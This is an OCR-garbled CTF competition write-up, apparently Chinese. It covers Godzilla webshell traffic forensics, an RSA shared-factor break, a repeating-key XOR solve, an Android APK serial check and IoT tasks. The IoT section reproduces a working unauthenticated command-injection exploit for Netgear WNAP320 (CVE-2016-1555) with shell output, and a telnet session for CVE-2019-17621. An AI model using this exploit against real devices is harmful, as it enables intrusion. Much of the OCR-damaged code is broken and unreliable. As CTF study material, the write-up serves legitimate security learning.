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BERAHET

L HEOT 2R 9206.73 Baze 11 2021-12-04 15:59:40
° L3F_Sec 9179.34 Baikse 11 2021-12-04 13:16:40
’ L3FF_Sec 9133.97 Misc 11 2021-12-04 15:07:49
4
5
3
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Ftin 8146.93 Baize 2 2021-12-04 15:54:34
I T4l 8046.14 gaze 0
Spring 8036.34 Bares 0 2021-12-04 15:56:01

L2H_Sec 7091.42 ot 0 2021-12-04 13:47:57

LittleDark 6202.71 ot 1 2021-12-04 13:16:13

9 0x21 5129.41 0 2021-12-04 15:58:12

10 HAwebFRE— AR 5088.53 0 2021-12-04 15:44:17
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» daoc... v | D L #EF"daochu”
A ER ) s ER s
[=| tlswslhaoev4lva(6).php 2021/12/4 2:06 PHP
EI tlswslhaoev4lva(8).php 2021/12/4 9:06 PHP
El tlswslhaoev4lva(10).php 2021/12/4 2:06 PHP
EI tlswslhaoev4lva(12).php 2021/12/4 9:06 PHP
E] tlswslhaoev4lva(14).php 202171274 2:06 PHP
E] tlswslhaoev4lva(16).php 2021/12/4 9:06 PHP
El tlswslhaoev4lva(18).php 2021/12/4 2:06 PHP
@ tlswslhaoev4lva(20).php 2021/12/4 9:06 PHP
@ tlswslhaoevdlva(22).php 2021/12/4 2:06 PHP
El tlswslhaoevdlva(24).php 2021/12/4 9:06 PHP
EI tlswslhaoev4lva(26).php 2021/12/4 9:06 PHP
EI tlswslhaoev4lva(28).php 2021/12/4 2:06 PHP
= ltl tlawslhanevdhar20 nhn 2021/12/4 9-0f PHP

BT EHW R AR E, (HEE Tgesilakfagiiir. & T HEA & Rgodzlla.
Bl 38— _EA% 9 5 B php S #8 T LAE BIEEALAN 3 -

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: @

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

POST /tlswslhaoev4lva.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: PHPSESSID=jke8vel71reb33td7dcjjhniag;

Accept text/html appllcatlon/xhtml+xml application/xml;qg=0.9,image/webp,*/*;q=0.8
+9=9.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=©.3,en;q=0.2

Content type application/x-www-form-urlencoded
Content-Length: 19

7]}

[Rw.TRg59d1.\K.HTTP/1.1 200 OK

Date: Sat, 31 Jul 2021 20:18:12 GMT

server: Apache/2.4.46 (Debian)

Expires: Thu, 19 Nov 1981 @8:52:0@ GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: PHPSESSID=jkes8vel71reb33td7dcjjhnia9o; path=/
Content-Length: 22

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

&.me469d94. . ?dv. .AgedbPOST /tlswslhaoev4alva.php HTTP/1.1

User-Agent: Mozilla/5.@ (Windows NT 1@.8; Winé4; x64; rv:84.8) Gecko/2@1e0101 Firefox/84.0
Cookie: PHPSESSID=jke8vel7ireb33td7dcjjhnlag;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Host: 192.168.68.128:9080

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Caontent-1ensth: 28

ﬁ%ﬁ%exp:



import hashlib

mm = "192.168.68.128:9080+t1lswslhaocev4lva.php+godzilla”
flag 2 = "flag{" + hashlib.md5(mm.encode()).hexdigest() + "}"
print(flag_2)

flag

flag{fe7c3416a2ace@d97e4029e77368c5ab}

Crypto

safe_chat_db

DwonUnderCTF2021 Ji & »

github#R T exp B#4T. (HE—HAH, HFHEHXILAf flag” in message: breakiER#, Bl T .
github®#: Challenges 2021 Public/attack.py at main - DownUnderCTF/Challenges_2021_Public (github.com)

exp

import sys

import sqlite3

import itertools

from math import gcd

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad

db = sys.argv[1l] if len(sys.argv) > 1 else './enc _chall.db’
cur = (conn := sqlite3.connect(db)).cursor()

cur.execute("SELECT * FROM User;")
users = [(name, RSA.importKey(k)) for name, k in cur]
for (an, ak), (bn, bk) in itertools.combinations(users, 2):
if (p := gcd(ak.n, bk.n)) > 1:
break

print(an, bn)
ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, 9q))
bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q))

for user, rsa_key in [(an, ak), (bn, bk)]:
oaep = PKCS1_OAEP.new(rsa_key)
cur.execute('"’
SELECT
Conversation.id,
initiator,
peer,
encrypted_aes_key for_initiator,
encrypted_aes_key for_peer,
iv
FROM Conversation
INNER JOIN Parameters
ON Parameters.id = Conversation.initial parameters
WHERE initiator = ? OR peer = ?;

v (nicar 1icar))


https://github.com/DownUnderCTF/Challenges_2021_Public/blob/main/crypto/secuchat/solve/attack.py

5 \uSCr , uscr

for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():
print(f"{cid}: {initiator} & {peer}")

attribute = ""
aes = None
if initiator == user:
attribute = "encrypted_aes_key for_initiator"
aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)
else:
attribute = "encrypted_aes_key_for_peer"

aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)
cur.execute('"’
SELECT

encrypted_message,

from_initiator,
o+ f"{attribute}, " + "'

iv
FROM Message
INNER JOIN Parameters

ON Parameters.id = next_parameters
WHERE conversation = ?

ORDER BY
timestamp ASC;
", (cid,))
for message, from_initiator, key, iv in cur.fetchall():
print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size

).decode())
# i1f "flag" in message:
# break

aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)
# i1f "flag" in message:

# break

# i1f "flag" in message:
# break

conn.close()



= AES.new(oaep.decrypt(key), AES.

T Dolor eos susclplt evenlet exercitationem.
davisjennifer: Consectetur iusto nostrum exercitationem sequi.
46: alicia3@ & jason27
alicia3@: hey Et soluta non delectus amet neque.
jason27: hey Exercitationem consectetur nam voluptates incidunt fugit quod nisi.
alicia3@: here's the flag btw Inventore qui labore nihil ipsam at tenetur.
alicia3@e: flag{3237a6f9fele96155ald73bdaftaf624c} Vitae eligendi corrupti illo.
jason27: cheers Nesciunt soluta minus voluptas velit numquam molestias.
5: ochambers & vanessa5l
ochambers: Quas sunt molestias culpa animi pariatur doloribus sequi.

flag

flag{3237a6f9fele96155ald73bdafaf624c}

W2

XMFEREBELET . RAFE—PRAMM, FEoSRAEHEL. TN EFMHE, Kl Factimagicnum, 1B XA—F,
XEEFIMHTEETT, BAESENFERND

from Crypto.Util.number import long_to_bytes
from libnum import*

import struct

import binascii

s = [2.62564299192e-06,1.04885682362e-08,6.70158373239e-10,2.62219801428e-09,2.65526978183e-06,2.65544508693e-06
4.,29620995419e-05,1.05481356982e-08,4.21880024248e-08
a=>b"'
b =>b"'
for i in s
a +

struct.pack('<f',1i #/D 2
print(a

for j in s
b += struct.pack('>f",j # A
print(b

print(long_to_bytes(a
print(long_to_bytes(b

# b'440661424680224101263426424817523253"
# b'604424160864142262106243842425713523"
# b"T\xdeI ;zF\x94\xab\x86\xéf\n'\xla5"
# b'thisispasswdsss'



RIEESER. B3 —ANFLE, £DelctfR0198xorf)H/E, 3. De1CTF-2019#4rwp CTF/MNAMIEE-CSDNIE%, HiEs
expRiHl, X BT EEsatEH LRI FEL. colE SRt Hce, B:

import string
from binascii import unhexlify, hexlify
from itertools import *

def bxor(a, b): # xor two byte strings of different Llengths
if len(a) > len(b):
return bytes([x ~ y for x, y in zip(a[:1len(b)], b)])
else:
return bytes([x ~ y for x, y in zip(a, b[:len(a)])])

def hamming_distance(bl, b2):
differing_bits = 0
for byte in bxor(bl, b2):
differing_bits += bin(byte).count("1")
return differing_bits

def break_single_key xor(text):
key = 0
possible_space = 90
max_possible = 9
letters = string.ascii_letters.encode('ascii')
for a in range(@, len(text)):
maxpossible = @
for b in range(@, len(text)):
if(a == b):
continue
c = text[a] » text[b]
if c not in letters and c != @:
continue
maxpossible += 1
if maxpossible > max_possible:
max_possible = maxpossible
possible_space = a
key = text[possible space]| * 0x20
return chr(key)

salt = "thisispasswdsss"”

si = cycle(salt)

b = unhexlify(b'5e79372b2d2e67302322633068647f7821623038317d68246b353265657€25292a3530382e3d633966372239652a7b6a
2e2764213773353a343039657b74712d63242378292a337d202322232a3c7a6e31613327653308012a3721272b7f3f616738206a213d3d6a
2b357c27702d3665387837373965702e6c2a38247f363136303129323427206d2a3d2e3c312e6a312335312c2a633e713e2b3c3c3270232e
61752424256c167c623d292d232a7363306364226c7f603f3d6520393162273330352a31363564272d30392e312b617e35312c3e71636723
3b77253067213b287c222c392c30232c7032286€682b36722a713037236€363925216€267e3625292b3d2b3461421124623638213129746b
36663622246035036121272c7d74703a7e3c650073382d20326626267a7f6d7d3771227f6b5e71f7d3f2d21626769223567293e2624612722
276621387964656261652d2f23697b2d6b35382b792c3f2a6762352b242d3127207d322c2b34676c21783331651d4125357f3e367c707935
7827266a2c32633b373321247723665276d21306b797d70273024212377252127362d2f66273133782922787830326a2d71236a192d7631
2623782264667c2e7e€6236393e6b3d2220262e25617379776262373cb6bb6b7c3b2a316a266a732a2c3736396a37222030366a633c71203666
2c79372c2e70272732612b2a68772b3f2a3637382d2c232266252f2131346467266e362e3c64662b21652523367a3e33662635782d2e212b
2b28206d67273671307335286b7c6C6a262423272b777132673137622432206a322d3d3e742a38")

plain = ''.join([hex(ord(c) ~ ord(next(si)))[2:].zfill(2) for c in b.decode()])

b = unhexlify(plain)

print(plain)

normalized_distances = []

for KEYSIZE in range(2, 40):

TN L0t Trr A b Mam O | b TR T 7 rl e v


https://blog.csdn.net/qq_41429081/article/details/98474357

#H K JHR A YO £LLTT 52 1 /1 LK T 2 15
bl = b KEYSIZE

b2 = b[KEYSIZE: KEYSIZE * 2
b3 = b[KEYSIZE * 2: KEYSIZE *
b4 = b[KEYSIZE * 3: KEYSIZE *
b5 = b[KEYSIZE * 4: KEYSIZE *
b6 = b[KEYSIZE * 5: KEYSIZE *

a v b~ w

normalized_distance = float
hamming_distance(bl, b2
hamming_distance(b2, b3
hamming_distance(b3, b4

+ + + +

hamming_distance(b4, b5
hamming_distance(b5, b6

/ (KEYSIZE * 5
normalized_distances.append
KEYSIZE, normalized_distance

normalized_distances = sorted(normalized_distances, key=lambda x: x[1

for KEYSIZE, _ in normalized_distances|:5
block_bytes = for _ in range(KEYSIZE
for i, byte in enumerate(b
block_bytes[i % KEYSIZE].append(byte
keys = "'
try
for bbytes in block_bytes
keys += break_single_key xor(bbytes
key = bytearray(keys * len(b "utf-8"
plaintext = bxor(b, key
print("keysize:", KEYSIZE
print("key is:", keys, "n"
s = bytes.decode(plaintext
print(s
except Exception

continue

B — B TR

= "thisispasswdsss™
= cycle(salt)
unhexlify(b'5e79372b2d2e67302322633068647178216230383f7d68246b353265657€25292a3530382e3d6339
1 = ''.join([hex(ord(c) ~ ord(next(si)})[2:].zfill(2) for c in b.decode()])
) = unhexlify(plain)
print(plain)

43
= L

for KEYSIZE in range(2, 40):

jaI

keysize: 32

key is: [c16928791549b7eb1b7>8df98696be82 n

I have had my invitotion to this world's festival, ond thus my life has been blessej.

Early in the day it was whis~ered that we should sail in a baat, only thou and I, and never o soul in t

In th nwhgle I smile and I sing all alone 1In the meanwhile the air is fibling with the perfume of j
( 4 UTF-8 CRLF Python &3

1
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flag{c16928791549b7eb1b708dF98696be82}
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1. ¥apk X zip St

2. f#E3REclass.dex3

3. F|Fdex2jarL B 3k15 classes-dex2jar.jar3CfF
4. jd-juifT Fjarsc

5. THEZjarxX

package com.ctf.crkackertwo;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
public Button btn_register;

public EditText edit_sn;

private int[] test = new int[] {
118, 105, 118, 111, 78, 101, 101, 100, 89, 111,
117 };

public boolean checkSN(String paramString) {
boolean bool = false;
if (paramString == null)
return false;
try {
if (paramString.length() == 9)
return false;
int j = this.test.length;
for (int i = 0;; i++) {
if (1 <3) {
if (this.test[i] != paramString.charAt(i))
return false;
} else {
i = paramString.length();
j = this.test.length;
if (1 <= 3)
bool = true;
return bool;



J

} catch (Exception exception) {
exception.printStackTrace();
return false;

public void onCreate(Bundle paramBundle) {
super.onCreate(paramBundle);
setContentView(2130968576);
this.edit_sn = (EditText)findViewById(2130903041);
Button button = (Button)findViewById(2130903049);
this.btn_register = button;
button.setOnClickListener(new View.OnClickListener() {
public void onClick(View paramilView) {
MainActivity mainActivity = MainActivity.this;
if (!mainActivity.checkSN(mainActivity.edit_sn.getText().toString())) {
Toast.makeText ((Context)MainActivity.this, 2131099656, ©).show();
return;

}
Toast.makeText ((Context)MainActivity.this, 2131099654, ©).show();

MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(2131099652);

1)

6. ZrHrcheckSNE %
BN 755 5 B o StestB 4 Lk
Fi e AT DLANTE Wi testE 4l 8 A B IASCIRS g AT LA T

private int[] test = new int[] {
118,105,118, 111,78, 101, 101, 100, 89, 111,
117 };

XA B R B EMD, RIEASCIER K X AN 5 Rt B 7 5F
¢ vivoNeedYou
7. BHEANapkiziT, EaiEM D)

flag

flag{vivoNeedYou}
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T RIHRWNAP320, W _E#ERF SR, 82— rce: CVE-2016-1555, ##: https://www.seebug.org/vuldb/ssvid-99281
X B EHEMpockT, (HRKIE MG CHIEAET .

X B R EER M HHEEIE, EboardDataWW.phpi siboardDataNA.php, 753332 Hshell,

cat /f*15 F|flag



p
#
#
#
#
#
#
#

i

i

i

h
p

C

W

ayload

Exploit Title: Netgear WNAP320 2.60.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter

Notes: The RCE doesn't need to be authenticated

Date: 26/06/2021

Exploit Author: Bryan Leong <NobodyAtall>

IoT Device: Netgear WNAP320 Access Point

Version: WNAP3260 Access Point Firmware v2.0.3

mport requests
mport sys

f(len(sys.argv) != 2):

print('Must specify the IP parameter')
print("eg: python3 wnap320_v2_0_3.py <IP>")
sys.exit(@)

ost = sys.argv[1]
ort = 80

md = "'
hile(True):

cmd = input('Shell _CMD$ ')

#injecting system command part writing the command output to a output file

data = {
'macAddress' : '112233445566;' + cmd + ' > ./output #',
'reginfo' : '@",
‘writeData' : 'Submit'’

¥

url = 'http://' + host + '/boardDataNA.php'
response = requests.post(url, data=data)

if(response.ok):

#read the command output result
url = 'http://' + host + '/output'
cmdOutput = requests.get(url)
print(cmdOutput.text)

#remove trace

cmd = 'rm . /output’

data = {
'macAddress’' : '112233445566;' + cmd + ' #',
'reginfo' : '@"',
'writeData' : 'Submit'’

}

url = 'http://' + host + '/boardDataNA.php'
response = requests.post(url, data=data)
else:

print('[!] No response from the server.')



Poweshell
S FIEY S Powershell https://aka.ms/pscore6

PS E:\FAZRLEELLZE\CTF\2821vivoF{E# \iot\iot1> python exp.py 113.2081.14.253:19046

background. html
boardDataNA. php
boardDatalW. php
body . php
button.html
checkConfig.php
checkSession.php
clearLog.php
common . php
config.php
data.php
downloadFile.php

Poweshell

Shell cMD$ cat /f*
flag{997dfadf4dfeed3a84152f46d90d37f1}




flag{997dfadf4dfoed3a84152f46d90d37f1}

CVE-2019-17621.

X B E#EHpoctT, telentsE#EEIT],

$ telnet 113.201.14.253 45258
Trying 113:201014.253 .01
Connected to 113.201.14.253.
Escape character is '7]'.

BusyBox v1.14.1 (2016-11-24 11:46:19 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

firmadyne tmp mnt etc
WWW sSys lib dev
var sbin htdocs bin
usr proc home lost+found

flag{57b3d30598679%9ae0f7451e3ec3fd42e8}

flag{57b3d30598679ae0f7451e3ec3fd42e8}


https://blog.csdn.net/NOSEC2019/article/details/103823845
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